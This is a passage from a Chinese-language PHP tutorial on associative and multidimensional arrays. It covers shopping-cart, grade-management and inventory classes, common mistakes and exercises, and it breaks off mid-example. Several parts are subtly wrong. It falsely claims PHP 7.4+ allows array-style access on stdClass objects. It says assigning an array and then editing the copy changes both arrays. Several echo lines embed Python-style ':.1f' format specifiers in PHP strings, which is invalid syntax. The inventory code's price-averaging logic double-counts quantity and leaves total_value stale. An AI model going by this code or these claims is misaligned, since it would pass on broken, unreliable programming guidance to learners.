                "product_id" => $productId,
                "name" => $this->products[$productId]["name"],
                "price" => $this->products[$productId]["price"],
                "quantity" => $quantity,
                "subtotal" => $this->products[$productId]["price"] * $quantity,
                "added_at" => date("Y-m-d H:i:s")
            ];
        }

        $this->updateSubtotal($productId);
        return true;
    }

    // 更新小计
    private function updateSubtotal($productId) {
        if (isset($this->items[$productId])) {
            $item = $this->items[$productId];
            $this->items[$productId]["subtotal"] = $item["price"] * $item["quantity"];
        }
    }

    // 更新商品数量
    public function updateQuantity($productId, $quantity) {
        if (!isset($this->items[$productId]) || $quantity <= 0) {
            return false;
        }

        if ($this->products[$productId]["stock"] < $quantity) {
            throw new Exception("库存不足");
        }

        $this->items[$productId]["quantity"] = $quantity;
        $this->updateSubtotal($productId);
        return true;
    }

    // 移除商品
    public function removeItem($productId) {
        if (isset($this->items[$productId])) {
            unset($this->items[$productId]);
            return true;
        }
        return false;
    }

    // 获取购物车总价
    public function getTotal() {
        $total = 0;
        foreach ($this->items as $item) {
            $total += $item["subtotal"];
        }
        return $total;
    }

    // 获取商品总数
    public function getTotalQuantity() {
        $total = 0;
        foreach ($this->items as $item) {
            $total += $item["quantity"];
        }
        return $total;
    }

    // 按分类统计
    public function getCategoryStats() {
        $stats = [];

        foreach ($this->items as $productId => $item) {
            $category = $this->products[$productId]["category"];

            if (!isset($stats[$category])) {
                $stats[$category] = [
                    "count" => 0,
                    "quantity" => 0,
                    "total" => 0
                ];
            }

            $stats[$category]["count"]++;
            $stats[$category]["quantity"] += $item["quantity"];
            $stats[$category]["total"] += $item["subtotal"];
        }

        return $stats;
    }

    // 应用优惠券
    public function applyCoupon($couponCode, $discountType, $discountValue) {
        $total = $this->getTotal();

        if ($discountType === "percentage") {
            $discount = $total * ($discountValue / 100);
        } elseif ($discountType === "fixed") {
            $discount = min($discountValue, $total);
        } else {
            return 0;
        }

        return [
            "code" => $couponCode,
            "type" => $discountType,
            "value" => $discountValue,
            "discount_amount" => $discount,
            "final_total" => $total - $discount
        ];
    }

    // 显示购物车详情
    public function displayCart() {
        if (empty($this->items)) {
            echo "购物车是空的。\n";
            return;
        }

        echo "=== 购物车详情 ===\n\n";

        // 商品列表
        foreach ($this->items as $productId => $item) {
            echo "商品ID: {$item['product_id']}\n";
            echo "商品名称: {$item['name']}\n";
            echo "单价: ¥{$item['price']}\n";
            echo "数量: {$item['quantity']}\n";
            echo "小计: ¥{$item['subtotal']}\n";
            echo "添加时间: {$item['added_at']}\n";
            echo str_repeat("-", 40) . "\n";
        }

        // 统计信息
        echo "\n=== 统计信息 ===\n";
        echo "商品种类: " . count($this->items) . " 种\n";
        echo "商品总数: " . $this->getTotalQuantity() . " 件\n";
        echo "总金额: ¥" . $this->getTotal() . "\n";

        // 分类统计
        $stats = $this->getCategoryStats();
        if (!empty($stats)) {
            echo "\n=== 分类统计 ===\n";
            foreach ($stats as $category => $data) {
                echo "{$category}: {$data['count']} 种, {$data['quantity']} 件, ¥{$data['total']}\n";
            }
        }
    }

    // 获取购物车数组
    public function getCartArray() {
        return [
            "items" => $this->items,
            "summary" => [
                "item_count" => count($this->items),
                "total_quantity" => $this->getTotalQuantity(),
                "total_amount" => $this->getTotal(),
                "category_stats" => $this->getCategoryStats()
            ]
        ];
    }
}

// 使用示例
$cart = new ShoppingCart();

try {
    // 添加商品
    $cart->addItem("p001", 1);  // iPhone 15 x1
    $cart->addItem("p002", 1);  // MacBook Pro x1
    $cart->addItem("p003", 2);  // AirPods Pro x2

    // 显示购物车
    $cart->displayCart();

    // 应用优惠券
    $coupon = $cart->applyCoupon("SAVE10", "percentage", 10);
    echo "\n=== 优惠券信息 ===\n";
    echo "优惠券代码: {$coupon['code']}\n";
    echo "折扣类型: {$coupon['type']}\n";
    echo "折扣值: {$coupon['value']}\n";
    echo "优惠金额: ¥{$coupon['discount_amount']}\n";
    echo "最终总价: ¥{$coupon['final_total']}\n";

    // 更新数量
    $cart->updateQuantity("p001", 2);
    echo "\n更新iPhone数量后:\n";
    $cart->displayCart();

} catch (Exception $e) {
    echo "错误: " . $e->getMessage() . "\n";
}
?>

常见错误和解决方案

1. 键名错误

// 错误:使用不存在的键
$user = ["name" => "张三", "email" => "zhangsan@example.com"];
echo $user["username"];  // Notice: Undefined index

// 正确做法:检查键是否存在
$username = $user["username"] ?? $user["name"] ?? "未知用户";

// 或者使用array_key_exists
if (array_key_exists("username", $user)) {
    echo $user["username"];
}

2. 引号遗漏

// 错误:数组键没有引号
$config = [name => "My App", version => "1.0"];  // PHP会尝试找常量name和version

// 正确:使用引号
$config = ["name" => "My App", "version" => "1.0"];

3. 数组和对象混淆

$array = ["key" => "value"];
$object = (object)$array;

// 数组访问方式
echo $array["key"];     // 正确

// 错误:用对象方式访问数组
echo $array->key;       // 错误

// 正确:用对象方式访问对象
echo $object->key;      // 正确

// 正确:用数组方式访问对象
echo $object["key"];    // PHP 7.4+ 支持

4. 深拷贝和浅拷贝

// 浅拷贝问题
$original = [
    "user" => ["name" => "张三"],
    "settings" => ["theme" => "dark"]
];

$copied = $original;
$copied["user"]["name"] = "李四";  // 两个数组都会被修改

// 深拷贝解决方案
$deepCopied = json_decode(json_encode($original), true);
$deepCopied["user"]["name"] = "王五";  // 只影响深拷贝的数组

性能优化建议

1. 键的选择

// 好的做法:使用简短但清晰的键名
$user = [
    "id" => 1,
    "nm" => "张三",  // 不好的做法:过于简短
    "email" => "zhangsan@example.com",  // 好的做法:平衡清晰度和长度
    "user_profile_information_about_their_current_employment_status" => "employed"  // 不好的做法:过长
];

// 推荐:使用清晰且合理的键名
$user = [
    "id" => 1,
    "name" => "张三",
    "email" => "zhangsan@example.com",
    "employment_status" => "employed"
];

2. 大数组优化

// 对于大型关联数组,考虑使用生成器
function processLargeConfig($config) {
    foreach ($config as $section => $values) {
        if (is_array($values)) {
            foreach ($values as $key => $value) {
                yield "{$section}.{$key}" => $value;
            }
        } else {
            yield $section => $values;
        }
    }
}

// 使用生成器处理大数组
foreach (processLargeConfig($largeConfig) as $key => $value) {
    // 处理每个配置项
}

练习题

基础练习

  1. 创建和访问关联数组

    // 创建一个学生信息的关联数组
    // 包含姓名、年龄、专业、年级等字段
    // 访问并打印每个字段
    // 添加新的字段(如邮箱、电话)
    
  2. 数组操作

    // 创建一个商品信息的关联数组
    // 实现添加、修改、删除商品属性的功能
    // 检查特定属性是否存在
    

进阶练习

  1. 嵌套关联数组

    // 创建一个多级关联数组表示图书信息
    // 包含基本信息、作者信息、出版社信息等
    // 实现嵌套数据的访问和修改
    
  2. 数组合并和过滤

    // 创建多个配置数组合并为一个
    // 实现配置项的覆盖和继承
    // 过滤出特定类型的配置项
    

实战练习

  1. 简单的博客系统

    // 使用关联数组管理文章
    // 包含标题、内容、作者、发布时间、标签等
    // 实现文章的增删改查功能
    // 按作者、标签、时间筛选文章
    
  2. API响应处理

    // 模拟处理JSON API响应
    // 解析嵌套的关联数组结构
    // 提取特定字段并格式化输出
    // 处理可选字段和默认值
    

总结

关联数组是PHP中最强大的数据结构之一,掌握好关联数组的使用对于开发复杂的PHP应用至关重要。通过本节的学习,你应该:

  1. 理解关联数组的概念和优势
  2. 掌握创建、访问、修改关联数组的方法
  3. 熟练使用关联数组进行数据组织和管理
  4. 了解关联数组在实际项目中的应用
  5. 能够处理复杂的嵌套关联数组结构

接下来,我们将学习多维数组,这将让我们能够处理更加复杂和层次化的数据结构。

多维数组

多维数组是指数组中包含其他数组作为其元素的数据结构。在PHP中,你可以创建二维、三维甚至更高维度的数组来组织和存储复杂的数据。多维数组在处理表格数据、配置文件、嵌套数据结构等方面非常有用。

什么是多维数组?

多维数组(Multidimensional Array)是包含一个或多个数组的数组。最常见的多维数组是二维数组,可以想象成表格或矩阵的形式。

// 二维数组示例 - 表格数据
$students = [
    ["张三", 20, "计算机科学"],
    ["李四", 21, "软件工程"],
    ["王五", 19, "信息安全"]
];

// 三维数组示例 - 多个班级的学生
$school = [
    "class1" => [
        ["张三", 20, "计算机科学"],
        ["李四", 21, "软件工程"]
    ],
    "class2" => [
        ["王五", 19, "信息安全"],
        ["赵六", 20, "人工智能"]
    ]
];

创建多维数组

1. 直接创建

// 二维数组 - 产品信息表
$products = [
    ["iPhone 15", "Apple", 5999, "手机"],
    ["MacBook Pro", "Apple", 14999, "笔记本"],
    ["Galaxy S24", "Samsung", 4999, "手机"],
    ["ThinkPad X1", "Lenovo", 12999, "笔记本"]
];

// 三维数组 - 销售数据
$salesData = [
    "2023" => [
        "Q1" => [100000, 120000, 110000],
        "Q2" => [130000, 140000, 125000],
        "Q3" => [135000, 145000, 130000],
        "Q4" => [150000, 160000, 140000]
    ],
    "2024" => [
        "Q1" => [155000, 165000, 150000],
        "Q2" => [160000, 170000, 155000],
        "Q3" => [165000, 175000, 160000],
        "Q4" => [170000, 180000, 165000]
    ]
];

2. 逐步构建

// 创建空的二维数组
$matrix = [];

// 逐行添加数据
for ($i = 0; $i < 3; $i++) {
    $row = [];
    for ($j = 0; $j < 3; $j++) {
        $row[] = $i * 3 + $j + 1;
    }
    $matrix[] = $row;
}
// 结果:[[1, 2, 3], [4, 5, 6], [7, 8, 9]]

// 动态创建用户数据
$users = [];
$userData = [
    ["张三", "zhangsan@example.com", "北京"],
    ["李四", "lisi@example.com", "上海"],
    ["王五", "wangwu@example.com", "广州"]
];

foreach ($userData as $data) {
    $users[] = [
        "name" => $data[0],
        "email" => $data[1],
        "city" => $data[2],
        "profile" => [
            "age" => rand(20, 30),
            "status" => "active",
            "level" => "standard"
        ]
    ];
}

3. 使用函数创建

// 使用array_fill创建二维数组
$grid = array_fill(0, 3, array_fill(0, 4, 0));
// 结果:3x4的零矩阵

// 使用range创建
$multiplicationTable = [];
for ($i = 1; $i <= 9; $i++) {
    $multiplicationTable[] = range($i, $i * 9, $i);
}

// 创建更复杂的三维数组
$categories = [
    "electronics" => ["phones", "laptops", "tablets"],
    "clothing" => ["shirts", "pants", "shoes"],
    "books" => ["fiction", "non-fiction", "textbooks"]
];

$inventory = [];
foreach ($categories as $category => $items) {
    $inventory[$category] = [];
    foreach ($items as $item) {
        $inventory[$category][$item] = [
            "stock" => rand(10, 100),
            "price" => rand(100, 1000),
            "supplier" => "供应商" . rand(1, 5)
        ];
    }
}

访问多维数组

1. 基本访问方式

$students = [
    ["张三", 20, "计算机科学", [85, 92, 78]],
    ["李四", 21, "软件工程", [90, 88, 95]],
    ["王五", 19, "信息安全", [82, 79, 88]]
];

// 访问二维数组元素
echo $students[0][0];  // 输出:张三
echo $students[1][2];  // 输出:软件工程

// 访问三维数组元素
echo $students[0][3][0];  // 输出:85(张三的第一个成绩)

// 修改元素
$students[0][1] = 22;  // 张三年龄改为22
$students[1][3][1] = 91;  // 李四第二个成绩改为91

2. 使用键名的访问

$employees = [
    "dept1" => [
        "manager" => ["name" => "张经理", "salary" => 15000],
        "staff" => [
            ["name" => "李四", "salary" => 8000],
            ["name" => "王五", "salary" => 7500]
        ]
    ],
    "dept2" => [
        "manager" => ["name" => "赵经理", "salary" => 14000],
        "staff" => [
            ["name" => "钱六", "salary" => 8500],
            ["name" => "孙七", "salary" => 7200]
        ]
    ]
];

// 访问嵌套数据
echo $employees["dept1"]["manager"]["name"];     // 输出:张经理
echo $employees["dept1"]["staff"][0]["salary"];   // 输出:8000
echo $employees["dept2"]["staff"][1]["name"];     // 输出:孙七

// 安全访问(检查键是否存在)
$dept3Manager = $employees["dept3"]["manager"]["name"] ?? "未知部门";
echo $dept3Manager;  // 输出:未知部门

3. 动态访问

$config = [
    "database" => [
        "connections" => [
            "mysql" => [
                "host" => "localhost",
                "port" => 3306,
                "database" => "myapp"
            ],
            "postgres" => [
                "host" => "localhost",
                "port" => 5432,
                "database" => "myapp_pg"
            ]
        ]
    ]
];

// 使用变量访问
$connectionType = "mysql";
$host = $config["database"]["connections"][$connectionType]["host"];
echo $host;  // 输出:localhost

// 函数式访问
function getConfigValue($config, $path, $default = null) {
    $keys = explode(".", $path);
    $current = $config;

    foreach ($keys as $key) {
        if (!is_array($current) || !array_key_exists($key, $current)) {
            return $default;
        }
        $current = $current[$key];
    }

    return $current;
}

$dbPort = getConfigValue($config, "database.connections.postgres.port", 3306);
echo $dbPort;  // 输出:5432

遍历多维数组

1. 嵌套foreach循环

$matrix = [
    [1, 2, 3, 4],
    [5, 6, 7, 8],
    [9, 10, 11, 12]
];

// 遍历二维数组
echo "=== 矩阵内容 ===\n";
foreach ($matrix as $rowIndex => $row) {
    foreach ($row as $colIndex => $value) {
        echo "[{$rowIndex}][{$colIndex}] = {$value}\t";
    }
    echo "\n";
}

// 计算每行的和
foreach ($matrix as $rowIndex => $row) {
    $rowSum = array_sum($row);
    echo "第 {$rowIndex} 行的和:{$rowSum}\n";
}

2. 遍历复杂的多维数组

$products = [
    "electronics" => [
        "phones" => [
            ["iPhone 15", 5999, 50],
            ["Samsung S24", 4999, 30]
        ],
        "laptops" => [
            ["MacBook Pro", 14999, 20],
            ["ThinkPad X1", 12999, 15]
        ]
    ],
    "clothing" => [
        "shirts" => [
            ["T-Shirt", 99, 100],
            ["Dress Shirt", 199, 50]
        ]
    ]
];

// 遍历并格式化输出
foreach ($products as $category => $categories) {
    echo "分类:{$category}\n";

    foreach ($categories as $subCategory => $items) {
        echo "  子分类:{$subCategory}\n";

        foreach ($items as $item) {
            list($name, $price, $stock) = $item;
            echo "    - {$name}:¥{$price} (库存:{$stock})\n";
        }
    }
    echo "\n";
}

3. 使用递归遍历

$data = [
    "level1" => [
        "level2" => [
            "level3" => "深度值",
            "level3_b" => ["深度数组", "嵌套值"]
        ],
        "level2_b" => "中级值"
    ],
    "level1_b" => "表层值"
];

// 递归遍历函数
function traverseArray($array, $depth = 0) {
    $indent = str_repeat("  ", $depth);

    foreach ($array as $key => $value) {
        if (is_array($value)) {
            echo "{$indent}{$key}:\n";
            traverseArray($value, $depth + 1);
        } else {
            echo "{$indent}{$key}: {$value}\n";
        }
    }
}

// 扁平化数组函数
function flattenArray($array, $prefix = "") {
    $result = [];

    foreach ($array as $key => $value) {
        $newKey = $prefix ? "{$prefix}.{$key}" : $key;

        if (is_array($value)) {
            $result = array_merge($result, flattenArray($value, $newKey));
        } else {
            $result[$newKey] = $value;
        }
    }

    return $result;
}

echo "=== 递归遍历结果 ===\n";
traverseArray($data);

echo "\n=== 扁平化结果 ===\n";
$flattened = flattenArray($data);
print_r($flattened);

常用操作

1. 数组转换

// 二维数组转一维数组
$students = [
    ["张三", 20, "计算机科学"],
    ["李四", 21, "软件工程"],
    ["王五", 19, "信息安全"]
];

// 提取所有姓名
$names = array_column($students, 0);
// 结果:["张三", "李四", "王五"]

// 使用关联数组
$users = [
    ["id" => 1, "name" => "张三", "email" => "zhangsan@example.com"],
    ["id" => 2, "name" => "李四", "email" => "lisi@example.com"],
    ["id" => 3, "name" => "王五", "email" => "wangwu@example.com"]
];

// 提取name列,以id为键
$userNames = array_column($users, "name", "id");
// 结果:[1 => "张三", 2 => "李四", 3 => "王五"]

// 转置矩阵
function transpose($matrix) {
    return array_map(null, ...$matrix);
}

$matrix = [
    [1, 2, 3],
    [4, 5, 6],
    [7, 8, 9]
];

$transposed = transpose($matrix);
// 结果:[[1, 4, 7], [2, 5, 8], [3, 6, 9]]

2. 搜索和过滤

$products = [
    ["iPhone 15", "Apple", 5999, "electronics"],
    ["MacBook Pro", "Apple", 14999, "electronics"],
    ["T-Shirt", "H&M", 99, "clothing"],
    ["Jeans", "Levi's", 399, "clothing"]
];

// 搜索特定商品
function searchProduct($products, $searchTerm) {
    $results = [];

    foreach ($products as $product) {
        if (stripos($product[0], $searchTerm) !== false) {
            $results[] = $product;
        }
    }

    return $results;
}

$appleProducts = searchProduct($products, "Apple");
print_r($appleProducts);

// 按分类过滤
function filterByCategory($products, $category) {
    return array_filter($products, function($product) use ($category) {
        return $product[3] === $category;
    });
}

$electronics = array_values(filterByCategory($products, "electronics"));
print_r($electronics);

// 按价格范围过滤
function filterByPriceRange($products, $minPrice, $maxPrice) {
    return array_filter($products, function($product) use ($minPrice, $maxPrice) {
        return $product[2] >= $minPrice && $product[2] <= $maxPrice;
    });
}

$midRange = array_values(filterByPriceRange($products, 100, 1000));
print_r($midRange);

3. 排序和多维排序

$employees = [
    ["张三", "技术部", 8000, 25],
    ["李四", "销售部", 6000, 28],
    ["王五", "技术部", 9000, 30],
    ["赵六", "市场部", 7000, 26]
];

// 按工资排序(降序)
usort($employees, function($a, $b) {
    return $b[2] - $a[2];  // 按第3个元素(工资)降序
});

echo "按工资排序:\n";
foreach ($employees as $emp) {
    echo "{$emp[0]}:{$emp[2]}元\n";
}

// 复杂排序:先按部门,再按工资
usort($employees, function($a, $b) {
    if ($a[1] === $b[1]) {
        return $b[2] - $a[2];  // 同部门按工资降序
    }
    return strcmp($a[1], $b[1]);  // 按部门名称升序
});

echo "\n按部门和工资排序:\n";
foreach ($employees as $emp) {
    echo "{$emp[1]} - {$emp[0]}:{$emp[2]}元\n";
}

// 使用array_multisort排序
$names = array_column($employees, 0);
$salaries = array_column($employees, 2);

// 按工资降序,工资相同按姓名升序
array_multisort($salaries, SORT_DESC, $names, SORT_ASC, $employees);

实际应用示例

1. 学生成绩管理系统

<?php
class GradeManager {
    private $students = [];
    private $subjects = [];

    public function __construct() {
        $this->subjects = ["语文", "数学", "英语", "物理", "化学"];
    }

    // 添加学生
    public function addStudent($name, $class) {
        $studentId = count($this->students) + 1;

        $this->students[$studentId] = [
            "id" => $studentId,
            "name" => $name,
            "class" => $class,
            "grades" => array_fill(0, count($this->subjects), 0),
            "exams" => []
        ];

        return $studentId;
    }

    // 设置成绩
    public function setGrade($studentId, $subjectIndex, $grade) {
        if (isset($this->students[$studentId])) {
            $this->students[$studentId]["grades"][$subjectIndex] = $grade;
            return true;
        }
        return false;
    }

    // 添加考试成绩
    public function addExamResult($studentId, $examName, $grades) {
        if (isset($this->students[$studentId])) {
            $this->students[$studentId]["exams"][] = [
                "exam_name" => $examName,
                "date" => date("Y-m-d"),
                "grades" => $grades,
                "total" => array_sum($grades),
                "average" => array_sum($grades) / count($grades)
            ];
            return true;
        }
        return false;
    }

    // 获取学生总分
    public function getTotalScore($studentId) {
        if (isset($this->students[$studentId])) {
            return array_sum($this->students[$studentId]["grades"]);
        }
        return 0;
    }

    // 获取班级排名
    public function getClassRanking($class = null) {
        $rankings = [];

        foreach ($this->students as $student) {
            if ($class === null || $student["class"] === $class) {
                $totalScore = $this->getTotalScore($student["id"]);
                $rankings[] = [
                    "id" => $student["id"],
                    "name" => $student["name"],
                    "class" => $student["class"],
                    "total_score" => $totalScore,
                    "average_score" => $totalScore / count($this->subjects)
                ];
            }
        }

        // 按总分排序
        usort($rankings, function($a, $b) {
            return $b["total_score"] - $a["total_score"];
        });

        // 添加排名
        foreach ($rankings as $index => &$ranking) {
            $ranking["rank"] = $index + 1;
        }

        return $rankings;
    }

    // 获取科目统计
    public function getSubjectStats() {
        $stats = [];

        foreach ($this->subjects as $subjectIndex => $subject) {
            $scores = array_column($this->students, "grades");
            $subjectScores = array_column($scores, $subjectIndex);

            $stats[$subject] = [
                "highest" => max($subjectScores),
                "lowest" => min($subjectScores),
                "average" => array_sum($subjectScores) / count($subjectScores),
                "pass_rate" => count(array_filter($subjectScores, function($score) {
                    return $score >= 60;
                })) / count($subjectScores) * 100
            ];
        }

        return $stats;
    }

    // 生成成绩单
    public function generateReportCard($studentId) {
        if (!isset($this->students[$studentId])) {
            return null;
        }

        $student = $this->students[$studentId];
        $totalScore = $this->getTotalScore($studentId);
        $averageScore = $totalScore / count($this->subjects);

        return [
            "student_info" => [
                "id" => $student["id"],
                "name" => $student["name"],
                "class" => $student["class"]
            ],
            "subjects" => array_map(function($grade, $subject) {
                return [
                    "name" => $subject,
                    "score" => $grade,
                    "level" => $this->getGradeLevel($grade)
                ];
            }, $student["grades"], $this->subjects),
            "summary" => [
                "total_score" => $totalScore,
                "average_score" => round($averageScore, 1),
                "class_rank" => $this->getStudentRank($studentId),
                "grade_level" => $this->getGradeLevel($averageScore)
            ],
            "exam_history" => $student["exams"]
        ];
    }

    // 获取等级
    private function getGradeLevel($score) {
        if ($score >= 90) return "优秀";
        if ($score >= 80) return "良好";
        if ($score >= 70) return "中等";
        if ($score >= 60) return "及格";
        return "不及格";
    }

    // 获取学生排名
    private function getStudentRank($studentId) {
        $rankings = $this->getClassRanking($this->students[$studentId]["class"]);

        foreach ($rankings as $ranking) {
            if ($ranking["id"] == $studentId) {
                return $ranking["rank"];
            }
        }

        return 0;
    }

    // 显示班级排名
    public function displayClassRanking($class = null) {
        $rankings = $this->getClassRanking($class);
        $title = $class ? "班级 {$class} 排名" : "全校排名";

        echo "=== {$title} ===\n\n";
        printf("%-5s %-10s %-10s %-10s %-10s %-10s\n",
               "排名", "姓名", "班级", "总分", "平均分", "等级");
        echo str_repeat("-", 60) . "\n";

        foreach ($rankings as $ranking) {
            printf("%-5d %-10s %-10s %-10d %-10.1f %-10s\n",
                   $ranking["rank"],
                   $ranking["name"],
                   $ranking["class"],
                   $ranking["total_score"],
                   $ranking["average_score"],
                   $this->getGradeLevel($ranking["average_score"])
            );
        }
    }
}

// 使用示例
$gradeManager = new GradeManager();

// 添加学生
$students = [
    ["张三", "高三1班"],
    ["李四", "高三1班"],
    ["王五", "高三2班"],
    ["赵六", "高三2班"],
    ["钱七", "高三1班"]
];

foreach ($students as [$name, $class]) {
    $gradeManager->addStudent($name, $class);
}

// 设置成绩
$grades = [
    1 => [85, 92, 88, 90, 87],
    2 => [78, 95, 82, 88, 91],
    3 => [92, 88, 90, 85, 89],
    4 => [80, 85, 78, 82, 80],
    5 => [88, 91, 85, 89, 86]
];

foreach ($grades as $studentId => $studentGrades) {
    foreach ($studentGrades as $subjectIndex => $grade) {
        $gradeManager->setGrade($studentId, $subjectIndex, $grade);
    }
}

// 添加考试成绩
$gradeManager->addExamResult(1, "期中考试", [82, 89, 85, 88, 84]);
$gradeManager->addExamResult(1, "期末考试", [87, 94, 90, 91, 88]);

// 显示排名
$gradeManager->displayClassRanking();
echo "\n";

// 显示特定班级排名
$gradeManager->displayClassRanking("高三1班");
echo "\n";

// 显示科目统计
$subjectStats = $gradeManager->getSubjectStats();
echo "=== 科目统计 ===\n";
foreach ($subjectStats as $subject => $stats) {
    echo "{$subject}:\n";
    echo "  最高分:{$stats['highest']}\n";
    echo "  最低分:{$stats['lowest']}\n";
    echo "  平均分:{$stats['average']:.1f}\n";
    echo "  及格率:{$stats['pass_rate']:.1f}%\n\n";
}

// 生成成绩单
$reportCard = $gradeManager->generateReportCard(1);
echo "=== 学生成绩单 ===\n";
echo "学生:{$reportCard['student_info']['name']} ({$reportCard['student_info']['class']})\n\n";

echo "各科成绩:\n";
foreach ($reportCard['subjects'] as $subject) {
    echo "  {$subject['name']}:{$subject['score']}分 ({$subject['level']})\n";
}

echo "\n总分:{$reportCard['summary']['total_score']}分\n";
echo "平均分:{$reportCard['summary']['average_score']}分\n";
echo "班级排名:第{$reportCard['summary']['class_rank']}名\n";
echo "综合等级:{$reportCard['summary']['grade_level']}\n";

if (!empty($reportCard['exam_history'])) {
    echo "\n考试历史:\n";
    foreach ($reportCard['exam_history'] as $exam) {
        echo "  {$exam['exam_name']} ({$exam['date']}):";
        echo "{$exam['total']}分 (平均{$exam['average']:.1f}分)\n";
    }
}
?>

2. 电商库存管理系统

<?php
class InventoryManager {
    private $warehouses = [];
    private $products = [];

    public function __construct() {
        // 初始化仓库
        $this->warehouses = [
            "WH001" => ["name" => "北京仓库", "location" => "北京"],
            "WH002" => ["name" => "上海仓库", "location" => "上海"],
            "WH003" => ["name" => "广州仓库", "location" => "广州"]
        ];

        // 初始化库存数据
        foreach ($this->warehouses as $warehouseId => $warehouse) {
            $this->products[$warehouseId] = [];
        }
    }

    // 添加产品到仓库
    public function addProduct($warehouseId, $productId, $productName, $quantity, $price) {
        if (!isset($this->products[$warehouseId])) {
            throw new Exception("仓库不存在");
        }

        if (isset($this->products[$warehouseId][$productId])) {
            // 产品已存在,更新数量
            $this->products[$warehouseId][$productId]["quantity"] += $quantity;
            // 更新平均价格
            $currentValue = $this->products[$warehouseId][$productId]["quantity"] *
                           $this->products[$warehouseId][$productId]["price"];
            $newValue = $currentValue + ($quantity * $price);
            $newQuantity = $this->products[$warehouseId][$productId]["quantity"] + $quantity;
            $this->products[$warehouseId][$productId]["price"] = $newValue / $newQuantity;
        } else {
            // 新产品
            $this->products[$warehouseId][$productId] = [
                "name" => $productName,
                "quantity" => $quantity,
                "price" => $price,
                "total_value" => $quantity * $price,
                "last_updated" => date("Y-m-d H:i:s")
            ];
        }

        return true;
    }

    // 转移库存
    public function transferStock($fromWarehouse, $toWarehouse, $productId, $quantity) {
        if (!isset($this->products[$fromWarehouse][$productId])) {
            throw new Exception("源仓库没有该产品");
        }

        if ($this->products[$fromWarehouse][$productId]["quantity"] < $quantity) {
            throw new Exception("库存不足");
        }

        // 从源仓库移除
        $this->products[$fromWarehouse][$productId]["quantity"] -= $quantity;
        $this->products[$fromWarehouse][$productId]["total_value"] -=
            $quantity * $this->products[$fromWarehouse][$productId]["price"];
        $this->products[$fromWarehouse][$productId]["last_updated"] = date("Y-m-d H:i:s");

        // 添加到目标仓库
        $this->addProduct(
            $toWarehouse,
            $productId,
            $this->products[$fromWarehouse][$productId]["name"],
            $quantity,
            $this->products[$fromWarehouse][$productId]["price"]
        );

        return true;
    }

    // 获取产品总库存
    public function getTotalStock($productId) {
        $total = 0;
        $totalValue = 0;
        $warehouses = [];

        foreach ($this->products as $warehouseId => $products) {
            if (isset($products[$productId])) {
                $total += $products[$productId]["quantity"];
                $totalValue += $products[$productId]["total_value"];
                $warehouses[] = [
                    "warehouse_id" => $warehouseId,
                    "warehouse_name" => $this->warehouses[$warehouseId]["name"],
                    "quantity" => $products[$productId]["quantity"]
                ];
            }
        }

        return [
            "product_id" => $productId,
            "total_quantity" => $total,
            "total_value" => $totalValue,
            "average_price" => $total > 0 ? $totalValue / $total : 0,
            "distribution" => $warehouses
        ];
    }

    // 获取仓库库存汇总
    public function getWarehouseSummary($warehouseId) {
        if (!isset($this->products[$warehouseId])) {
            return null;
        }

        $totalProducts = count($this->products[$warehouseId]);
        $totalQuantity = 0;
        $totalValue = 0;

        foreach ($this->products[$warehouseId] as $product) {
            $totalQuantity += $product["quantity"];
            $totalValue += $product["total_value"];
        }

        return [
            "warehouse_id" => $warehouseId,
            "warehouse_name" => $this->warehouses[$warehouseId]["name"],
            "location" => $this->warehouses[$warehouseId]["location"],
            "product_count" => $totalProducts,
            "total_quantity" => $totalQuantity,
            "total_value" => $totalValue
        ];
    }

    // 获取库存预警
    public function getLowStockAlerts($threshold = 10) {
        $alerts = [];

        foreach ($this->products as $warehouseId => $products) {
            foreach ($products as $productId => $product) {
                if ($product["quantity"] <= $threshold) {
                    $alerts[] = [
                        "warehouse_id" => $warehouseId,
                        "warehouse_name" => $this->warehouses[$warehouseId]["name"],
                        "product_id" => $productId,
                        "product_name" => $product["name"],
                        "current_quantity" => $product["quantity"],
                        "threshold" => $threshold
                    ];
                }
            }
        }

        return $alerts;
    }

    // 生成库存报告
    public function generateInventoryReport() {
        $report = [
            "generated_at" => date("Y-m-d H:i:s"),
            "warehouses" => [],
            "summary" => [
                "total_warehouses" => count($this->warehouses),
                "total_products" => 0,
                "total_quantity" => 0,
                "total_value" => 0
            ]
        ];

        foreach ($this->warehouses as $warehouseId => $warehouse) {
            $summary = $this->getWarehouseSummary($warehouseId);
            if ($summary) {
                $report["warehouses"][] = $summary;
                $report["summary"]["total_products"] += $summary["product_count"];
                $report["summary"]["total_quantity"] += $summary["total_quantity"];
                $report["summary"]["total_value"] += $summary["total_value"];
            }
        }

        return $report;
    }

    // 显示仓库详情
    public function displayWarehouseDetails($warehouseId) {
        if (!isset($this->products[$warehouseId])) {
            echo "仓库不存在\n";
            return;
        }

        $warehouse = $this->warehouses[$warehouseId];
        echo "=== {$warehouse['name']} ({$warehouseId}) ===\n";
        echo "位置:{$warehouse['location']}\n\n";

        if (empty($this->products[$warehouseId])) {
            echo "仓库为空\n";
            return;
        }

        printf("%-15s %-20s %-10s %-10s %-15s\n",
               "产品ID", "产品名称", "数量", "单价", "总价值");
        echo str_repeat("-", 70) . "\n";

        foreach ($this->products[$warehouseId] as $productId => $product) {
            printf("%-15s %-20s %-10d %-10.2f %-15.2f\n",
                   $productId,
                   $product["name"],
                   $product["quantity"],
                   $product["price"],
                   $product["total_value"]
            );
        }

        $summary = $this->getWarehouseSummary($warehouseId);
        echo "\n仓库汇总:\n";
        echo "产品种类:{$summary['product_count']} 种\n";
        echo "总数量:{$summary['total_quantity']} 件\n";
        echo "总价值:¥{$summary['total_value']:.2f}\n";
    }

    // 显示产品分布
    public function displayProductDistribution($productId) {
        $distribution = $this->getTotalStock($productId);

        echo "=== 产品库存分布 ===\n";
        echo "产品ID:{$distribution['product_id']}\n";
        echo "总库存:{$distribution['total_quantity']} 件\n";
        echo "总价值:¥{$distribution['total_value']:.2f}\n";
        echo "平均价格:¥{$distribution['average_price']:.2f}\n\n";

        echo "各仓库分布:\n";
        foreach ($distribution['distribution'] as $warehouse) {
            echo "- {$warehouse['warehouse_name']}:{$warehouse['quantity']} 件\n";
        }
    }
}

// 使用示例
$inventory = new InventoryManager();

// 添加产品到不同仓库
$inventory->addProduct("WH001", "P001", "iPhone 15", 50, 5999);
$inventory->addProduct("WH001", "P002", "MacBook Pro", 20, 14999);
$inventory->addProduct("WH002", "P001", "iPhone 15", 30, 5999);
$inventory->addProduct("WH002", "P003", "AirPods", 100, 1999);
$inventory->addProduct("WH003", "P002", "MacBook Pro", 15, 14999);
$inventory->addProduct("WH003", "P004", "iPad", 40, 3999);

// 显示各仓库详情
